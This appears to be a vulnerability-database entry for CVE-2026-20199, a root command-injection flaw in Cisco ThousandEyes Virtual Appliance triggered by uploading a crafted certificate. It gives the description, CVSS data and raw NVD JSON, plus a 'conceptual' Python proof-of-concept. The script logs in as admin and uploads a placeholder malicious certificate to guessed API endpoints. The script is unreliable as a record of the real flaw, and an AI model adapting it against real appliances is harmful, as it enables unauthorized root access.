Security Vulnerability Report
中文
CVE-2026-20199 CVSS 4.7 MEDIUM

CVE-2026-20199

Published: 2026-05-20 17:16:20
Last Modified: 2026-05-20 17:30:40

Description

A vulnerability in the SSL certificate handling of Cisco ThousandEyes Virtual Appliance could allow an authenticated, remote attacker to execute commands on the underlying operating system as the root user. This vulnerability is due to insufficient validation of user-supplied input. An authenticated attacker could exploit this vulnerability by uploading a crafted certificate to an affected device. A successful exploit could allow the attacker to execute arbitrary code as the root user on the underlying operating system. To exploit this vulnerability, the attacker must have valid administrative credentials.

CVSS Details

CVSS Score
4.7
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Cisco ThousandEyes Virtual Appliance (具体受影响版本请参考 Cisco 安全公告 cisco-sa-tevacert-rce-RMJVEym5)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ Conceptual Proof of Concept (PoC) for CVE-2026-20199. This script demonstrates how an authenticated attacker might upload a crafted certificate to exploit the insufficient validation vulnerability. Note: The actual payload structure depends on the specific parsing flaw. """ import requests import sys # Configuration TARGET_IP = "<TARGET_IP>" # Replace with the target IP address ADMIN_USER = "admin" # Replace with valid admin username ADMIN_PASS = "password" # Replace with valid admin password # The vulnerable endpoint for certificate upload (example path) UPLOAD_URL = f"https://{TARGET_IP}/api/v1/certs/upload" # A crafted certificate payload containing the malicious command # This is a placeholder representing the insufficient validation exploit. # In a real scenario, this might be a malformed PEM file with embedded shell commands. MALICIOUS_CERT = """-----BEGIN CERTIFICATE----- MIICkzCCAXugAwIBAgIJAKL0UG+mRKN7MA0GCSqGSIb3DQEBCwUAMCMxITAfBgNV BAoTGkNpc2NvIFRob3VzYW5kRXllcyBWdWxuZXJhYmlsaXR5MB4XDTI2MDUyMDE3 MTYyMVoXDTI3MDUyMDE3MTYyMVowIzEhMB8GA1UEChMYQ2lzY28gVGhvdXNhbmRF eWVzIFZ1bG5lcmFiaWxpdHkwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIB AQD[...Malicious Payload / Command Injection Data...]AqIBAgIJAKL0UG+mRKN7MA0GCSqGSIb3DQEBCwUAMCMxITAfBgNV -----END CERTIFICATE----- """ def exploit(): session = requests.Session() # Disable SSL warnings for the PoC (self-signed environments) session.verify = False requests.urllib3.disable_warnings(requests.urllib3.exceptions.InsecureRequestWarning) print(f"[*] Attempting to login to {TARGET_IP} as {ADMIN_USER}...") # Step 1: Authenticate login_data = { "username": ADMIN_USER, "password": ADMIN_PASS } # Assuming a standard login endpoint; adjust based on actual API behavior login_response = session.post(f"https://{TARGET_IP}/api/v1/login", data=login_data) if login_response.status_code != 200: print("[-] Login failed. Check credentials.") sys.exit(1) print("[+] Login successful.") # Step 2: Upload Crafted Certificate print(f"[*] Uploading crafted certificate to {UPLOAD_URL}...") files = { 'certificate_file': ('exploit.crt', MALICIOUS_CERT, 'application/x-pem-file') } response = session.post(UPLOAD_URL, files=files) if response.status_code == 200: print("[+] Upload successful. Check if command was executed.") else: print(f"[-] Upload failed with status code: {response.status_code}") print(response.text) if __name__ == "__main__": exploit()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-20199", "sourceIdentifier": "[email protected]", "published": "2026-05-20T17:16:20.100", "lastModified": "2026-05-20T17:30:40.450", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability in the SSL certificate handling of Cisco ThousandEyes Virtual Appliance could allow an authenticated, remote attacker to execute commands on the underlying operating system as the root user.\r\n\r This vulnerability is due to insufficient validation of user-supplied input. An authenticated attacker could exploit this vulnerability by uploading a crafted certificate to an affected device. A successful exploit could allow the attacker to execute arbitrary code as the root user on the underlying operating system. To exploit this vulnerability, the attacker must have valid administrative credentials."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:L", "baseScore": 4.7, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.2, "impactScore": 3.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-74"}]}], "references": [{"url": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-tevacert-rce-RMJVEym5", "source": "[email protected]"}]}}